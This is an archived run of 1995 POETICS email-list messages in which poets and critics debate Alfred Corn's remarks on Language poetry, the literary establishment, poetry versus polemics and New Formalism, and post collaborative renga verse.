Been thinking about the discussion of taxonomy here & some of what I perceive as Alfred Corn's underlying assumptions in reagrd to his questions about "good," "bad," Langpoets & their "lineage," "influences," & "predecessors." Is it just me, or does anyone else detec(s)t a sort historiographic imperative underlying his ad-hoc exploration of this list's attributes (who we (statistically speaking) like, dislike, who we agree or disagree are influences, whose literary stock we value, who we'd be willing to sell short, ect.)? I'd like to think that most of us tend to privilege the idea of direct, contextual (in human hours, days, & minutes) encounters with poems over a sort of mannered, "lets see your certified bloodline before I buy yr ass" theory of reading. I know I do, and consequently it's a bit off-putting to think that we should be scrambling to defend our preferences & justify whatever prejudices we might possess; after

all, as far as I know, no one has been over to CAP_L, saying "why do you all like such boring work?," or "what's with the maniacal autobiographical impulse in most of yr work--are you egoists or just narcissistic?"

If you want to know this lists "character (if it can be said to have one)," Mr. Corn, ask for a reading list (which Mr. Tuuma has already provided for you) or subscribe. We never asked for your poetic lineage, & as far as I can tell (having been subscribed here for about 9 months), POETICS is both too diverse & too contentious to ever agree on a definitive one anyways.

To everyone else: sorry this is such a polemical mess, quite out of character (ironic hyperconformity in the face this list's mist-elegant swirl...)

Chris

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818. Ryan Knighton
Re: who is this guy?
Fri 25 Aug 1995

I'd like to think scat is sound poetry, sharing the improv impetus etc. I'd also like to think Tom Waits could be considered new old Formalist, tampering with the structure and noise of ballads, pop songs, etc. and playing the discourse of a time and place like a keyboard of collocations. Lovely stuff.

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819. Steve Evans
Corn
Fri 25 Aug 1995

Having stumbled back into this forum with a little note meant for Issa but sent to everyone, I may as well take a moment more to mark, with bemusement, Alfred Corn's latest contribution to our discussion. I brightened up when the following sentences appeared in his post:

"For after all, poetry using unfamiliar methods of communication goes back at least to Rimbaud (1870) and Mallarme' (1880-1890). Everybody knows about Dada, Modernism, Surrealism, and Black Mountain. Plus various unclassifiables like Gertrude Stein, Laura Riding, Bunting and Ashbery. And the Naropa Institute."

Terrific, until:

"So I'm not yet certain that LP has introduced anything that wasn't already there."

Evidently, were Alfred Corn to recur in history (as recur I somehow suspect he will), he would extend his list to include language-centered writing, while reserving the final sentence for whatever persons happened to be challenging his assumptions at *that* time.

Moreover, he conveniently (and typically) overlooks the way that such past formations live in a dialectic with present ones; that, in other words, substracting the action of present avant-garde writers & readers, past ones fall into atrophy, are forgotten, are--put most simply--rendered irrelevant. The domestication of international (including American) modernism after WWII is one case in point, familiar to participants on both POETICS and CAP-L.

And more to record the pleasure of the coincidence than because it sheds any great light on the central questions at hand, Vernon Shetley mentions Alfred Corn once in his chapter on Language poetry / New Formalism in _After the Death of Poetry_ (1993):

"In practice, the appeal of New Formalism seems closely linked to the humanist pieties that generally form the ultimate horizon of justification for its enthusiasts and practicioners (it's worth remarking in this regard a modest revival of Christian thematics among certain younger formalist poets, most notably Alfred Corn and Gjertrud Schnackenberg)." [160]

Finally, since this discussion ultimately pertains to provincialism, let me say (confess?) that the best laugh out of the many I had during a recent reading of Heine's essay on the Romantic School (recall by the way that Lacoue-Labarthe and Nancy, at least, consider the German romantics the first avant-garde) came when Heine wickedly described people in the French country-side as bearing on their foreheads sign-posts indicating their distance from Paris. Get my drift...?

With warm regards to all,

Steve

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820. **Joseph Zitt**
Re: who is this guy?
Fri 25 Aug 1995

On 24 Aug 95 at 22:31, Lindz Williamson wrote:

> *poets. I don't really consider anytype of poetry mainstream as it still focuses on a certain section of the masses, but i suppose within the community there has to be a norm. But howw is our discussion*

Funny thing: in my head, I think of the poets that get discussed here as a mainstream, mostly because this is the only place I hear poetry discussed.

(Other than, that is, at the usual open mikes, where the only poets people seem to talk about are Marge Piercy, Sharon Olds, and Charles Bukowski (who would probably all feel a bit odd being seen in a sentence together).) When I bring up a poet I think of as an established master -- Jackson MacLow, for example -- all I get is blank stares from the fellow openmikers. Oh, to wander back into academe :-)... ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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821. **Joseph Zitt**
Re: Renga free
Fri 25 Aug 1995

On 25 Aug 95 at 8:12, Michael Boughn wrote:

> Just to note the first renga-free morning since the virus hit.
> Hallellujia. Maybe we'll survive after all.
All in passing. (Ebolangpo) after the avalanche of

:-) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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822. **Joseph Zitt**
Re: Size vs Use
Fri 25 Aug 1995

On 25 Aug 95 at 7:40, Herb Levy wrote:

> *I can't find the exact quote right now, but the composer Morton Feldman says somewhere that when he began writing very large works (lasting 1-4 or more hours long) he had to severely limit his materials, because so many of the mammoth post-Wagnerian gesamtekunstwerks were massive failures. I hope that this idea helps.*

Ah, good point. OK, I grok the difference (I think).

As luck would have it, I'm listening to some Feldman as I write this. I haven't heard any of his hyperlong pieces though, mostly due to the prohibitive cost of 4-CD sets. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt

==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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823. **Susan Schultz**

Re: Criteria (fwd)

Fri 25 Aug 1995

---------- Forwarded message ----------
Date: Fri, 25 Aug 1995 14:32:30 -1000
From: Indepen <[redacted]>
To: Susan Schultz <[redacted]>
Subject: Re: Criteria (fwd)

To Keith Tuma:

The articles and reviews you sent I've copied out and will look for. Thanks for taking the trouble.

To Maria Damon: The volume on CAP-L (Contemporary American Poetry-List) is low now because of August vacations, but it will step up after Labor Day and also if I get back to it (where so many on POETICS tell me I belong) and stop neglecting to send things while I post here. I get bored with people lashing out, not because I can't take it but because it isn't stimulating but instead stultifying. But you're obviously a likable and reasonable person, so I look forward to hearing what you say on the other list.

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824. **Chris Stroffolino**

Re: who is this guy?

Fri 25 Aug 1995

---

maria---right on about smokey, bob dylan (that "faux-poet" according to silliman!) also called smokey one of the best poets of his generation or something...

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825. **Chris Stroffolino**
Re: Criteria (fwd)
Fri 25 Aug 1995

In a flurry of activity I seem to have deleted Louis Cabri's interesting (and so far ignored---well, at least in this forum) post about the renga vs. the polemics--If I remember correctly Cabri raised some impor- tant points about how polemics often institutionally circulated to (i mean circulateS) ghettoize poetry---but that may not actually be the case---Just because poetry often generates response in the form of poetry and polemics generates response in the form of polemics doesn't mean that one is necessarily privileged over the other---although I do not wish to appear naive, I once had a conversation with a poet who expressed concern that her boyfriend (a "critic" and/or "theorist") is taken more seriously because he's a male and she a female, but though I don't wish to trivialize the implications of gender, it seemed that what she was complaining about was quite similar to what Cabri was: that theory is taken more seriously than poetry---and though I am also (as MD said) someone who wished I could avoid the temptation not to be a lurker here more than i do, it seems the segregation (separate but equal?--I hope not) between poetry and polemics, or the co-existence here on the list of the two forms, need not be antagonistic towards each other. And it seems, in partial response to Corn's question, that one of the major things that distinguishes Ashbery from, say, Perelman (or Stevens from Pound) is that the former does not engage in polemics as much OUTSIDE THE FORUM OF THE POEM---this idea that somehow theory is needed as a kind of supplement to the poem, to rid it of its "abject object" status, seems something that is more prevalent on the POETICS than the CAP-L list and can at times actually "get in the way" of the poem and (if i read cabri right) actually make the poem(s) into even more of an object than it would be without theory to guard over and protect it-- Of course, it can also be a way to "kill the down time" between poems, but I still think our poems often know more than our polemics do (however "essentialist" a position that may appear)....Just some loose thoughts, chris s.

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826. **Chris Stroffolino**
Re: new & forthcoming
Fri 25 Aug 1995

Yes, just sat down with pierre's CELAN--looks like the long awaited HAMBURGER HELPER has arrived----cs.

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827. Louis Cabri
ceci n'est pas un poeme
Fri 25 Aug 1995

Cell Line to My Parisian Lineage

Sign their foreheads
exist on a page read

on a stage
to refer.

Ordained determinism!
Be wild with your species

genome patent.
Great, you've made a big noise.

↑ Index

828. Thomas Bell
Re: poetry/prose thinking
Sat 26 Aug 1995

Louis Cabri writes:

>The temporal axis of engagement on this listserv virtually
>garantees that its corpus - the prose as much as the poetry
...> While the listserv's decentred centre, the poem itself,
>performs its own variety of common excesses. This too long,
but hey, only the letters in these words have repeated (some
might find comfort in saying

Are you trying to say that prose drives out poetry?
That does seem to be what is happening.

↑ Index

829. George Bowering
Re: More Forwards (fwd)
Sat 26 Aug 1995

Something has been puzzling me here, lately. In Corn's messages he implies that Ashbery is one of "their" poets, a sort of exemplar of the conventional or whatever. When did that happen? I know he was one of those academic press new poet winners at first, but then he was in the Allen anthology, etc. Uh, I have always found him satisfyingly difficulkt to read, a kind of unhip O'Hara or less chummy Schuyler. I was not aware that he had been taken over by the

cubes. But I do remember that after Lowell died, the popmags like *Time*, who still think there is a canon, tried to make him the bigdeal US poet. They tried that in fiction too, trying to entomb, for instance, the guy that wrote *Herzog* as the successor to the dead masters. Well, I still like (and hate) reading Ashbery, and that is not important; but I still think that he is formally interesting, and that does.

↑ Index

830. Marjorie Perloff

Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995

Sat 26 Aug 1995

I'm so glad, Jonathan, that you mentioned Pierre Joris's new translation of Celan. It is STUNNING. Pierre's command of German, French, English is incomparable and he's a poet who really has a feel for Celan. This is, for me, a major poetry event.

But I must confess to being very discouraged by the Alfred Corn conversation that's been going on on this net for the last few days. This Poetics Discussion Group was, after all, founded at Buffalo by, yes, Language poets and although I myself feel the term language poetry has outlived its usefulness (like any school), and although it's true that the so-called L poets are often very different from one another (and obviously some are much better than others--again, as in any movement), the fact remains that L poetry has made an enormous difference in the poetics of the 80s and 90s and that, on the other hand, poets like Alfred Corn and J. D. McClatchy and any of their poet friends at Yale Review and similar places have vigorously opposed it or, at best, ignored it.

Corn is being just a little bit disingenuous: he and his friends win all the prizes (Guggenheims, MacArthurs etc), are reviewed in the NYT Book Review (unlike Clark Coolidge or Lyn Hejinian or Charles Bernstein) and are very successful. LYn H. and Susan H. have yet to win a Guggenheim--which boggles the mind (my mind), but that's the way it is. And again the plain f fact is that the Director of the Guggenheim, Joel Conarroe, is a staunch advocate of Corn's and McClatchy's (with the father figure of James Merill in the background), and that in this particular circle trashing language poetries, the Objectivists, and most Concrete poetries is de rigueur. When the big and exciting conference on Visual Poetics was held by the dept of spanish-Portugese last spring (starring the deCampos brothers and including, among many others, Steve McCaffery, Johanna Drucker, and Charles Bernstein), not one faculty member from the English dept. showed up.

So why are so many people on this net like Keith Tuma suddenly so pleased and grateful that--gee!--Alfred Corn is actually willing to participate in discussion

with members about Language poetry! And why is Maria saying that she never writes about language poetry anyway. . Maria, that's just not true. You do write about language poetry (as in Stein, Duncan, other precursors, yes?)in the larger sense of the term, and respecting the rights of others can turn into capitulation, no? .

Alfred says of Lyn Hejinian's MY LIFE that being autobiographical, it does have representational elements. Well of course. Many of us have said this in print. The old chestnut that "language poetry" doesn't "say" anything has finally been laid to rest. And as a new generation of students arrives on the scene, I've learned that they have no problems with the "meanings," in, say, Lyn's OXOTA, which my theory class at Stanford read last year and loved. There were a number of Russians in the class and they were especially pleased by their "shock of recognition." Their finding the persons and places they know well in this book.

As for Rimbaud's "dereglement de tous les sens," I'd say that it's very different from the projects of the L poets even as it is from Corn's own poetry. The point of comparison has to be not a great poet of the 19th C (Blake, Rimbaud etc.) whom we can all agree on but what is happening NOW. And here there's just no use saying that there are no differences.

I'm sorry to sound like an old grouch on this one. But I feel that as an outsider (i.e. not a poet) I can say some of these things: to wit,that until the system of prize-giving and award-giving changes appreciably, there is no use pretending that the Establishment Doesn't Exist.

Marjorie Perloff

↑ Index

831. Sheila E. Murphy
Re: poetry/prose thinking
Sat 26 Aug 1995

I like your perspective, Louis.

Sheila M.

↑ Index

832. George Bowering
Re: poetry/prose thinking
Sat 26 Aug 1995

OOps.

↑ Index

833. **Anmarie Trimble**
Re: who is this guy?
Sat 26 Aug 1995

> *hey, i wish i had the self-discipline to be a lurker. i bet a lot of others on the lists wish so too. these cornposts are indeed very peculiar --a number of us have responded that we are taken aback at the assumption that we are hostile.*
> *i'm willing to believe ac is approaching "us" (who'e we, kimo sabe?) in good faith, as keith t and chris s say --i'd like also to believe that he accords the*
> *same openness to us. those of you who are on other lists --are we unusually feisty or exclusionary? what's the typical list-protocol and how do we conform/deviate? just curious.--md*

I didn't think Lindz's statement hostile. I just thought it a bit strange that there's been three or four lurker slams here in the past two weeks.

Maria- As for the tone of this group, uh, it's feister than the, say, the WAC list? (I think I just gave my age away?) I haven't checked out many lists, but those I have frequented are more reserved, with a friendly, business meeting-like atmosphere, or they're so academic and theoretical I want to yawn. Maybe it's just the ones I've tried. I don't know. I only know that, with poetry, I want spirit, not religion. So the passion and fluency here are a refreshing change, but y'all certainly took me aback, especially considering I didn't know a new Formalist or LP from a hole in the ground.

And someone mentioned that lurking made him/her feel like a pervert. I grew up thinking people who love poetry must be slightly twisted. And since I write the damned stuff, I must be an all out drooling, panting, greasy-haired, masturbating poet.

I will speak no more of lurking, which, by the way, has more to do with exhaustion, shyness, and laziness than self-discipline. blah blah blah -A.T.

****

How's this for an affirmation ofthe day:
"Live as if you were living for the second time and had acted as wrongly the first time as you are about to act now." -Viktor Frankel

↑ Index

834. **Rod Smith**
Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
Sat 26 Aug 1995

Marjorie's right.

↑ Index

835. Sheila E. Murphy
Re: Criteria (fwd)
Sat 26 Aug 1995

Chris S., You make wonderful points about the meshing of two "ways." Frankly, it is the overdoing of either that likely "gets to" those more predisposed toward the other mode. The list seems generally favorable toward stranded discussion, often of a somewhat analytical drift. Interestingly, the number of first (generative) statements is considerably lower than the fan-out of responses. (As in life--people spend most of their time reacting to something someone else started up...one can only hope that the thing started by the other is what the masses would have wanted...Let's just hope so) If I had time, I'd like to have done a quantitative mapping of original strands and the numeric responsorial follow-up. (That's just not where I can or will invest. But the idea intrigues.) Obviously, we'd have branches and branches. And this might show a lot of things.

None of that satisfies my other hunger (for sound; new language), though. The volleying of line toss can be genuinely interesting (John M. Bennett and I keep a pretty constant volley going via snail mail. It's engaging - I'd say perky, if that didn't sound too Gidgety or something.)

What Louis terms the antagonism toward this thing mislabeled renga (or very loosely named such) is something to think about, as he suggests. Humor's probably the thing to rejuvenate!

Tired after a week that could've used a bit more bounce!

Sheila

↑ Index

836. Rod Smith
Renga
Sat 26 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing

& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes

out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power

↑ Index

837. Patrick Phillips
Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
Sat 26 Aug 1995

I also agree whole heartedly with Marjorie and want to thank you.

I would like to bring up something that was obliquely gestured toward in one of the paragraphs:
>
>....the fact remains that L poetry has made an enormous difference in the
>poetics of the 80s and 90s and that, on the other hand, poets like Alfred
>Corn and J. D. McClatchy and any of their poet friends at Yale Review
>and similar places have vigorously opposed it or, at best, ignored it.

The first part of this sentence, that L poetry has made an enormous difference, could also be followed with, Corn and J. D. McClatchy and any of their poet friends at Yale Review and similar places have made little if any difference in the poetics of the 80s and 90s. This is very much a part of the discussion and of course is hit home by the last line:

> *there is no use pretending that the Establishment Doesn't Exist.*

Though this is obvious to us most of the time, it is the course and purpose of the establishment to deny difference, and certainly not to make a difference, in order to perserve state (as per Ron's note), or status - thanks again Marjorie for bringing it back to the forefront. There is "use" in knowing, and reiterating, that the Establishment Does Exist.

↑ Index

838. Rachel Loden
poems & polemics
Sat 26 Aug 1995

Chris Stroffolino wrote:

"...but I still think our poems often know more than our polemics do..."

Which is probably why we turn to polemics with such happy ferocity. We're dumber than our poems, which makes us uncomfortable. Or perhaps we should just trade poetry baseball cards, which I'm told are being offered in _Poets & Writers_...

Rachel Loden

↑ Index

839. **Ron Silliman**

Fwd: (Fwd) Pound, Dylan, LZ, Whitman

Sat 26 Aug 1995

To Herb Levy's
>
>> Even most of the more mainstream poets, including some who may still

be interested in heroics, seem largely to have given on the idea of a
big, big masterpiece.
>
Joe Zitt commented, aptly

> *ome of us are still working on big, big pieces --*

To which I would add the following. A characteristic of the INTENT (rather than the accomplishment) of three of the authors Bob P tars w/ the brush of genius is the assumption of a massive (or master) work that is defined by its sense of closure. Stein really is the exception there. But then Pound and Zukofsky both have their problems at that level, as has everyone who ever tried such a thing (Dorn, like Pound, just sort of peters out).

But if I think of Ronald Johnson's Ark, Bev Dahlen's "A Reading," Rachel Blau DuPlessis' Drafts, bp nichol's Martyrology, Duncan's lifework, etc, it seems to me that there are large numbers of poets still involved in sizeable writing projects. Then there are all the poets who have done booklength poems outside of that construct, like Robert Kelly (Songs, Axon Dendron Tree), Don Byrd's Dime Store saga, Watten's Progress, James Sherry's Our Nuclear Heritage, Lee Hickman's Tiresius IB: Great Slave Suite, many of the books of Bernadette Mayer, Jerry Rothenberg's Poland, Creeley's Pieces and A Day Book. On top of which I'd add those writers whose works seem to link one into the other

into a larger if wholly informal web of connections, like Eigner, Ginsberg and Grenier.

The real distinction here--the heroic claim for genius, in Bob's terms--has I think to do with a sense that one can impose closure (teleology) on any project of such scope. Whitman and Duncan have always seemed to me to offer much more attractive approaches than the perfect circle or Pound's "ball of light." LZ has, after "A" 6, a sense

of the distinctness of each stage in "A"'s progress that is entirely different from what we find in Pound. And I have yet to see a good analysis that identifies what changes as we move from "A" to "An" in LZ's book.

Someone mentioned (rightly I think) the idea that an attraction of Dylan fell into the same genius trap (or at least that Dylan himself did, at one point in his life). Having once hitchhiked 3,000 miles in the express hope of meeting Dylan, that seems/feels like a proper critique. When I did meet him on that trip (at a party in Newport, RI), he was all of 23 (six years older than I) and showed me xerox copy (on "thermal paper" as I recall) of a song he was working on--Tambourine Man. It seems odd in retrospect to realize that we were both such juveniles at the time. I think it was very difficult for him (or anyone who paid much attention to him at that point in the early 60s) to separate out what he was doing to the use of metaphor in song from the deliberate myth that was being spun in order to free him from the reality of being a suburban middle-class kid who'd belonged to a fraternity only a few years earlier. After the drug rehab (which was termed a "motorcycle accident" at the time), I think he looked at what he was doing and the myth of genius in/for himself pretty much shattered. The use of wild metaphor in his songs declined sharply and never really returned. Tho he still uses the "genius" as schtick (viz. the 30th anniv. concert a few years back). What I think he accomplished was--very briefly--an American surrealism that felt authentic rather than borrowed and precious (viz. Mr. Bly, Mr. Edson and several NY School poets). And that I suspect is what carried forward as an influence amid my friends, the langpo connection.

((special thanks to Joe Zitt, to whom I inadvertantly posted this first, for saving and getting the errant missive back to me))

Ron Silliman

↑ Index

840. **Ron Silliman**

Re: Anmarie Trimble

Sat 26 Aug 1995

Anmarie wrote:
>
>Since I wrote this, am I still a lurker?
>
>
No, you're a Post-Lurker. As in Post-Lurkerism.

↑ Index

841. **Ron Silliman**
Re: Criteria (fwd)
Sat 26 Aug 1995

> *Silliman do, for instance, without the first line of Pound's _Cantos_?*

I'd probably go down to the ship, set keel to breaker, forth on the godly sea....

↑ Index

842. **Ron Silliman**
Marjorie's Post
Sat 26 Aug 1995

Marjorie,

That was a WONDERFUL post. Thank you.

As to your comment:
>there is no use pretending that the Establishment Doesn't Exist.

Well that, of course, is one of its founding principles (and not just this establishment either, viz. Hilton Kramer or even Pat Buchanan).

Ron

↑ Index

843. **Ron Silliman**
Revenge of the Renga
Sat 26 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's

halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
of pretending you have no power ("Mistah Corn, he....

↑ Index

844. **maria damon**
Re: who is this guy?
Sat 26 Aug 1995

---

anmarie t writes:>
> Maria-
> As for the tone of this group, uh, it's feister than the, say, the WAC
> list? (I think I just gave my age away?)

what's wac and how can i claim youth by joining?--md

↑ Index

845. **maria damon**
Re: poems & polemics
Sat 26 Aug 1995

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rachel l writes:
.. perhaps
> we should just trade poetry baseball cards, which I'm told are being
> offered in _Poets & Writers_...
>
> Rachel Loden

okay, sister, as a popcult stalwart i must come to the defense of poetry baseball cards which i think is a swell concept. (even tho it reifies authorship blah blah blah...it does so in a playful way). just y-day i came across some rabbi cards, if u can believe it, in my desk drawer, from a time when i was more seriously into Jewish cultural studies and not spending all my time fending off post corn flakes on the POETICS list. selon moi, these rabbi cards (the full series is named "Torah Personalities") are a hoot --absolutely darling. i've got "series 3: featuring pre-war photos!" "enjoy inspiring stories of learning mini-series," etc. Pictures of frail old guys w/ beards reading books. apparently (my friend who procured them for me sd) they're traded very seriously by little boys in Brooklyn etc, mostly i think Hasidim. anyway, our erstwhile comrade Gary Sullivan is currently making poet-cards (i unloaded 7 years' worth of Poetry Flashes on him for this very purpose). hey if poets and writers is ready to exhibit a sense of humor about themselves maybe we are on the verge of a paradigm shift in poetics, age of aquarius, whatever. by the way, i;d love to get hold of that city lights book, Major League Poets, which is out of print. any leads? i think its by someone named something like michael horowitz or something--md

↑ Index

846. Charles Alexander
Re: poems & polemics
Sat 26 Aug 1995

On Sat, 26 Aug 1995 06:12:40 EDT,
Rachel Loden <[redacted]> wrote:

>Chris Stroffolino wrote:
>
>"...but I still think our poems often know more than our polemics do..."
>
>Which is probably why we turn to polemics with such happy ferocity.
>We're dumber than our poems, which makes us uncomfortable. Or perhaps
>we should just trade poetry baseball cards, which I'm told are being
>offered in _Poets & Writers_...
>
>Rachel Loden
>
>
Bravo, Rachel! I think it's brave to say we're dumber than our poems (& not true all of the time -- there are some dumb poems, too), and generally correct.

charles alexander

↑ Index

847. Charles Alexander
Re: who is this guy?
Sat 26 Aug 1995

>anmarie t writes:>
>> Maria-
>> As for the tone of this group, uh, it's feister than the, say, the WAC
>> list? (I think I just gave my age away?)
>
>what's wac and how can i claim youth by joining?--md
>
>
When I was a boy growing up as child of an Air Force father, until age 11, WAC was Women's Air Corps. So I don't know if WAC shows one's age as youthful or ageful. Yes, what's WAC? --ca

↑ Index

848. **maria damon**

Re: Fwd: (Fwd) Pound, Dylan, LZ, Whitman

Sat 26 Aug 1995

---

ron s writes:
>
> Someone mentioned (rightly I think) the idea that an attraction of
> Dylan fell into the same genius trap (or at least that Dylan himself
> did, at one point in his life). Having once hitchhiked 3,000 miles in
> the express hope of meeting Dylan, that seems/feels like a proper
> critique. When I did meet him on that trip (at a party in Newport, RI),
> he was all of 23 (six years older than I) and showed me xerox copy (on
> "thermal paper" as I recall) of a song he was working on--Tambourine
> Man. It seems odd in retrospect to realize that we were both such
> juveniles at the time. I think it was very difficult for him (or anyone
> who paid much attention to him at that point in the early 60s) to
> separate out what he was doing to the use of metaphor in song from the
> deliberate myth that was being spun in order to free him from the
> reality of being a suburban middle-class kid who'd belonged to a
> fraternity only a few years earlier. After the drug rehab (which was
> termed a "motorcycle accident" at the time), I think he looked at what
> he was doing and the myth of genius in/for himself pretty much
> shattered. The use of wild metaphor in his songs declined sharply and
> never really returned. Tho he still uses the "genius" as schtick (viz.
> the 30th anniv. concert a few years back).
> Ron Silliman

having lived in the twin cities for 7 yrs now, i find it entirely believeable that dylan, as a Jew growing up in one of the bleakest, most Jew-less and joyless places in the country (Hibbing, a far-north "Iron Range" town wasting away in post-industrial era) would feel completely out of place and wd occasionally revert to clinging to the term "genius" to make sense out of his life. you simply can't imagine...i never would have believed it until i got here...some of my *graduate* students have never heard the word jew except as a verb... and as for the fraternity business, i thot his frat experience was a miserable failure whose emotional residue is recorded in "Positively 4th street" (4th st. is fraternity row here at U of MN)...so, middleclass he might have been, but there are other indices of Otherness that might result in a genius shtick...md

↑ Index

849. H. T. KIRBY-SMITH

CAP-L List

Sat 26 Aug 1995

I wouldn't really advocate this, but I wonder what would happen if everyone on this list all at once signed up, en masse, to the CAP-L list.

I was on that list for a couple of weeks and found myself drawn into conflict with the most whiny and irritating sort of special pleading for an attenuated and exhausted poetics.

There is nothing quite so unpleasant as a failed neo-formalist. I have run into several in various contexts and they are like disinherited nobility. I would also compare them to the clothes police at the Vatican, who turn away a lovely sixteen-year-old in a long skirt because the edge of her shoulders shows beyond her blouse, while letting in some aging harridan in a lowcut dress with half her boobs hanging out.

Not all neoformalists seem failures to me. A while back there was this discussion of Larkin that seemed to center on his naughty liberated poems -- though nobody quoted my favorite of those,

Sexual intercourse began
In 1963
Between the end of the Chatterly ban
And the Beatles' first LP--
But just too late for me.

But few poets since 1950 have written anything to equal "Church Going" in which Larkin is true to his own bored and comically cynical nature, while compassionate and understanding about the need many people feel for faith of some sort. Also, when not too self-conscious, Timothy Steele has written some lovely poems. And I think of Anne Sexton as a remarkable formalist in a lot of her work.

For really funny parodies of the sort of writing some New Formalists would like us to go back to, look at Phoebe Cary's entries in John Hollander's Library of America Nineteenth Century American Poetry-- her versions of Poe and Tennyson, especially.

Funny thing about neoformalist poetics is that it claims great historical authority yet usually stops looking backward with the early English Renaissance. As someone recently pointed out, the genuine English meter was the old Germanic alliterative stress meter. Not this overlay of French syllabics.

But is serialization or aleatory poetics the only answer? To me, the Rengamania that broke out here was very promising. Among other things, I never knew what

a renga was. And it wasn't any trouble to skip over the rengas in my daily compilation if I got tired of them.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

850. **maria damon**
Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug
Sat 26 Aug 1995

---

marjorie p writes:

.
>

> *Corn is being just a little bit disingenuous...*

of course he is. i think some folks here are adopting the strategy (w/ debatable success) of reading him at face value in order to sidestep the defensiveness and passive-aggression that characterize his posts, and get to the issues.

When
> the big and exciting conference on Visual Poetics was held by the dept of
> spanish-Portugese last spring (starring the deCampos brothers and including,
> among many others, Steve McCaffery, Johanna Drucker, and Charles
> Bernstein), not one faculty member from the English dept. showed up.

yup, that's the stanford english department i know and ... s&p is always ahead of the game...
>
Maria, that's just not true. You do write about language poetry (as in Stein, Duncan,other precursors, yes?)in the larger sense of the term,

wow, thanks, marjorie, yr. right. i hadnt intended, as u know, to write on stein duncan spicer as precursors to LPs, in fact, i was always wary of the possible charge that i was "reducing" complex language-centered writing to crude partisan politics based on (gasp) biographical data. but now that i know more abt LP, i'm happy to be considered a fellow-traveler.

and respecting the rights of others can turn into capitulation, no?

nah, i guess we differ here. i don't see myself capitulating, tho i resisted a strong urge to respond w/ irrational hostility to the patronizing assessment of myself as a "reasonable and likeable person." this is his method, to accept a

